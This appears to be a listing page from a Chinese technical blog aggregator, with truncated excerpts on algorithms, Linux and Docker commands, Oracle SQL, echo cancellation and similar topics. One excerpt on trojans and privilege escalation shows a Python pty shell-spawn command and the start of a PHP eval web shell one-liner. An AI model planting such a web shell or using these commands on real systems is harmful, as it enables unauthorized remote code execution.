算法 常用

常用的linux命令 docker常用命令

mkdir 新建目录 rmdir 删除目录 rm只能删除文件,不能删除目录 cp test.txt Documents 进入容器的目录 docker exec -it <container_id_or_name> /bin/bash 挂载容器目录到本地目录 docker run -it -v /ho ......
命令 常用 docker linux

算法刷题记录-两个数组的交集

算法刷题记录-两个数组的交集 两个数组的交集 给定两个数组 nums1 和 nums2 ,返回 它们的交集 。输出结果中的每个元素一定是 唯一 的。我们可以 不考虑输出结果的顺序 。 示例 1: 输入:nums1 = [1,2,2,1], nums2 = [2,2] 输出:[2] 示例 2: 输入: ......
数组 交集 算法 两个

Proj4:改进LiteOS中物理内存分配算法

记录一下,操作系统课上老师讲的proj4做法 给的参考资料 LiteOS中的物理内存分配采用了TLSF算法,该算法较好地解决了最坏情况执行时间不确定(not bounded)或者复杂度过高(bounded with a too important bound"),以及碎片化问题(fragmentat ......
算法 物理 内存 LiteOS Proj4

决策树C4.5算法的技术深度剖析、实战解读

在本篇深入探讨的文章中,我们全面分析了C4.5决策树算法,包括其核心原理、实现流程、实战案例,以及与其他流行决策树算法(如ID3、CART和Random Forests)的比较。文章不仅涵盖了丰富的理论细节和实际应用,还提出了独特的洞见,旨在帮助读者全面了解C4.5算法的优缺点和应用场景。 关注Te ......
算法 实战 深度 技术 C4

文心一言 VS 讯飞星火 VS chatgpt (139)-- 算法导论11.4 3题

三、用go语言,考虑一个采用均匀散列的开放寻址散列表。当装载因子为 3/4 和 7/8 时,试分别给出一次不成功查找和一次成功查找的探查期望数上界。 文心一言: 在开放寻址法中,当散列表的装载因子超过其阈值时,会触发重新哈希。在均匀散列的情况下,我们可以使用二次探查来处理冲突。为了计算探查的期望次数 ......
文心 导论 算法 chatgpt VS

回声消除原理、算法-LMS(Least Mean Square)

回声消除是语音通信前端处理中的一种重要技术,产生的原因是:在实时音视频通话中,扬声器播放的声音有再次录进了麦克风去。 在即时通讯应用中,需要进行双方,或是多方的实时语音交流,在要求较高的场合,通常都是采用外置音箱放音,这样必然会产生回音,即一方说话后,通过对方的音箱放音,然后又被对方的Mic采集到回 ......
回声 算法 原理 Square Least

完整的回声消除算法框架所涉及到的模块

一、一个完整的回声消除系统,包含以下几个模块:1.时延估计(Time Delay Estimation, TDE) 模块2.(线性)回声消除(Linear Acoustic Echo Cancellation, AEC) 模块(线性滤波模块)3.双讲检测(Double-Talk Detect, DT ......
回声 算法 框架 模块

Linux常用命令记录

Linux常用命令记录 系统目录结构 文件与目录管理命令 Linux的文件目录是树状结构,最顶级的目录为根目录/,其他目录是通过挂载将其添加到文件树上,通过解除挂载将其移除。 首先先了解什么是绝对路径和相对路径 绝对路径:从根目录开始的完整路径描述,通常以 / 开头,从根目录root一直到目标目录 ......
命令 常用 Linux

Lnton羚通视频分析算法平台提供烟雾和火焰的智能检测与识别系统

Lnton羚通视频分析算法平台是一款利用智能视频分析和深度学习技术的创新解决方案,提供一种高精度、实时性强、可扩展性强、智能分析和预警的烟火识别检测算法方案。该平台能够满足安防监控领域中对烟火检测的需求,提高监控效率和安全性。 首先,该平台能够实时准确地识别监控区域内的烟雾和火焰,并进行报警。与传统 ......
烟雾 算法 火焰 智能 系统

大数据应用算法作业一

假设有一个包含90个数据的数据流,该数据流一共有5个不同的元素,即(x1,x2,x3, X4,x5),其中×1出现的频率为50,x2出现的频率为10,x3出现的频率为10,x4出现的频率为10,x5出现的频率为10。考虑在该数据流上运行参数为k=2的Misra-Gries算法,尝试解决以下问题: ( ......
算法 数据

Lnton羚通视频分析算法平台烟火识别 烟火识别预警

羚通视频智能分析平台是一种利用智能视频分析和深度学习技术的创新解决方案,旨在提供一种烟火识别检测的智能算法方案。该方案具有高精度检测、实时性强、可扩展性强、智能分析和预警等优点,能够满足安防监控领域中对烟火检测的需求,提高监控效率和安全性。 在实际应用中,羚通视频智能分析平台能够实时准确地识别监控区 ......
烟火 算法 Lnton 平台 视频

ROS2常用代码

常用代码 1.编译文件包 colcon build //全部编译 --packages-select <project_name> //选择单独编译的项目包 2.创建新的工程文件包 ros2 apk create <project_name> //创建项目 --build-type <ament_c ......
常用 代码 ROS2 ROS

CH573 CH582 CH592 CH579常用库函数记录

一:系统篇: 软件复位 SYS_ResetExecute(); 延时函数 mDelaymS(1); //延时1ms mDelayuS(1); //延时1us 设置晶体匹配电容 void HSECFG_Capacitance(HSECapTypeDef c); //外部高频32MHZvoid LSEC ......
CH 函数 常用 573 582

关联规则挖掘:Apriori算法的深度探讨

在本文中,我们深入探讨了Apriori算法的理论基础、核心概念及其在实际问题中的应用。文章不仅全面解析了算法的工作机制,还通过Python代码段展示了具体的实战应用。此外,我们还针对算法在大数据环境下的性能局限提出了优化方案和扩展方法,最终以独到的技术洞见进行了总结。 关注TechLead,分享AI ......
算法 深度 规则 Apriori

从ubuntu中获取常用命令源码

1、运行sudo software-properties-gtk命令,等待窗口弹出后选中源代码并关闭 下面以userdd命令为例: 1、用which命令查找所在目录 2、运行以下命令dpkg -S /usr/sbin/useradd 说明系统已在/usr/sbin/useradd位置下安装passw ......
源码 命令 常用 ubuntu

oracle常用函数

基础函数 select * from table order by id nulls first/last 将id是空值的放在首位还是末尾 select nvl2(val1,val2,val3) from dual 如果val1是null,则返回nvl3,否则返回nvl2 select coales ......
函数 常用 oracle

数据结构与算法 | 图(Graph)

在这之前已经写了数组、链表、二叉树、栈、队列等数据结构,本篇一起探究一个新的数据结构:图(Graphs )。在二叉树里面有着节点(node)的概念,每个节点里面包含左、右两个子节点指针;比对于图来说同样有着节点(node),在图里也称为顶点(vertex),顶点之间的关联不在局限于2个(左、右),一... ......
数据结构 算法 结构 数据 Graph

oracle日期常用sql

select to_date('2023-11-03','YYYY-MM-DD')+(LEVEL-1) *INTERVAL '15' MINUTE from dual connect by level<=96; 获取间隔15分钟的时间段 select to_char(TRUNC(to_date('2 ......
常用 日期 oracle sql

常用的小命令

hexdump hexdump -n 10 -C wancc -s 20 #从第20行开始,打印10行、#一般是搜索一下里面的时间 hexdump -Cv /dev/mtd0 -s 0x0001a600 -n 640 #C 表示16进制,v表示重复不折叠,s表示源,n表示字节数 常用软件 vscod ......
小命 常用

Linux常用命令记录

Linux常用命令记录 文件与目录管理命令 Linux的文件目录是树状结构,最顶级的目录为根目录/,其他目录是通过挂载将其添加到文件树上,通过解除挂载将其移除。 首先先了解什么是绝对路径和相对路径 绝对路径:从根目录开始的完整路径描述,通常以 / 开头,从根目录root一直到目标目录 相对路径:相对 ......
命令 常用 Linux

python常用快捷键

python 常用快捷键 最重要的快捷键 ctrl+shift+A:万能命令行 shift两次:查看资源文件 新建工程第一步操作 module设置把空包分层去掉,compact empty middle package 设置当前的工程是utf-8,设置的Editor-->File Encodings ......
快捷键 常用 python

代码随想录算法训练营第十一天 | ● 20. 有效的括号 ● 1047. 删除字符串中的所有相邻重复项 ● 150. 逆波兰表达式求值

今日学习的内容 ● 20. 有效的括号 var isValid = function(s) { let stack = [] ; for(let i = 0 ;i < s.length ; i++){ let temp = s[i]; if(temp == '('){ stack.push(')') ......

[ORB/BEBLID] 利用OpenCV(C++)实现尺度不变性与角度不变性的特征找图算法

本文只发布于利用OpenCV实现尺度不变性与角度不变性的特征找图算法和知乎 一般来说,利用OpenCV实现找图功能,用的比较多的是模板匹配(matchTemplate)。笔者比较喜欢里面的NCC算法。但是模板有个很明显的短板,面对尺度改变,角度改变的目标就无能为力了。因此本文旨在做到模板匹配做不到的 ......
尺度 算法 角度 特征 BEBLID

Linux 常用命令

1、### // <editor-fold defaultstate="collapsed" desc=" 折叠 "> // </editor-fold> 2、### mysql ALTER TABLE consultation add COLUMN `apply_by_stat` BIGINT(2 ......
命令 常用 Linux

常用木马和提权命令

作用是在Python中创建一个伪终端(pty),并在其中启动一个bash shell。这样,你可以在Python脚本中执行bash命令,就像在终端中一样。 python -c 'import pty; pty.spawn("/bin/bash")' 一句话木马: <?php @eval($_REQU ......
木马 命令 常用

GJK算法

GJK(Gilbert-Johnson-Keerthi)算法 背景知识 凸多边形 定义:对于平面上的一个多边形,如果延长它的任意一条边,使整个多边形都位于延长线的同侧,这样的多边形为凸多边形 显然,人可以直观的判断一个多边形是否为凸多边形,那么在程序中,应该如何判断一个多边形是否为凸多边形 利用向量 ......
算法 GJK

代码随想录算法训练营第十天 | ● 理论基础 ● 232.用栈实现队列 ● 225. 用队列实现栈

今日学习的文章链接和视频链接 https://programmercarl.com/栈与队列理论基础.html ● 232.用栈实现队列 var MyQueue = function() { this.stackIn = []; this.stackOut = [] }; /** * @param ......
队列 随想录 训练营 随想 算法

算法工程师的工作内容和岗位技能要求

算法工程师是一种专注于设计、开发和实施算法的职位,他们的工作主要涉及到使用先进的数学和编程技术去解决复杂的问题。这个职位在许多行业中都有广泛的应用,包括但不限于人工智能(AI)、机器学习(ML)、数据科学、电信、金融、生物医学、物理等。在这篇文章中,我们将详细介绍算法工程师的职责和所需技能,并举例说 ......
工作内容 算法 岗位 技能 工程师

RSA算法基础

RSA算法的必要性 密码学是一门保密通信技术,它将明文信息按双方约定的法则转换成只有特定人群才能看懂的密文以保证信息的安全传输。这样即使接收者之外的人得到传递的密文,也不知道信息的真正内容,从而达到安全传递信息的目的。 古典密码学和近代密码学一般是通过转译和反转译的方法,先将所发信息通过特殊的方法( ......
算法 基础 RSA

【进阶算法】滑动窗口

滑动窗口,简称滑窗,是快慢指针的一种应用技巧,两个指针之间形成一个窗口,右指针不断扩张,左指针按条件收缩,随着窗口的扩大和缩小找到满足条件的答案。 ......
算法